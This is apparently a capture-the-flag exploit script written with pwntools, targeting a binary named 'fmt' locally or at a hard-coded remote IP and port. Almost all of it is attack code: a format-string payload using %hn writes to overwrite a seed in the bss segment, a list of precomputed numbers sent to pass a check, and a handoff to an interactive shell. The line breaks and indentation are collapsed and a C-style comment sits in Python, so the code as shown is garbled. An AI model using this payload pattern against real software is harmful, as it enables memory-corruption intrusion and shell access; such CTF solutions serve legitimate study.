exp: #coding=utf-8 from pwn import * from LibcSearcher import* context.log_level='debug'
if args['REMOTE']: p = remote('81.69.0.47', 2222) else: p = process("./fmt")
elf=ELF('./fmt') system=0x4012DB
system_plt=elf.plt['system']
def main(): p.recvuntil('hello world!') bss=0x40409C payload='%'+str(0x1000)+'c%12$hn'+'%'+str(0x1000)+'c%13$hn'+'\x00'*8+p64(bss)+p64(bss+2) //格式化字符串写入操作 修改seed地址后两字节 修改seed地址前两字节 两字节两字节修改的bss段安排 # gdb.attach(p,'b *0x401261\nc\n')
# gdb.attach(p) p.sendline(payload) sleep(1) a=['2121385791','1417272958','1222019344','189308997','2113086160','43315344','1978613629','710758478','1825758792','118621091','1330609383','97980547','203100239','120334289','1085921916','75582125'] print(len(a)) for i in range(0,len(a)): p.sendline(a[i])
p.recvuntil("running sh") p.interactive()
if __name__ == '__main__': main()
|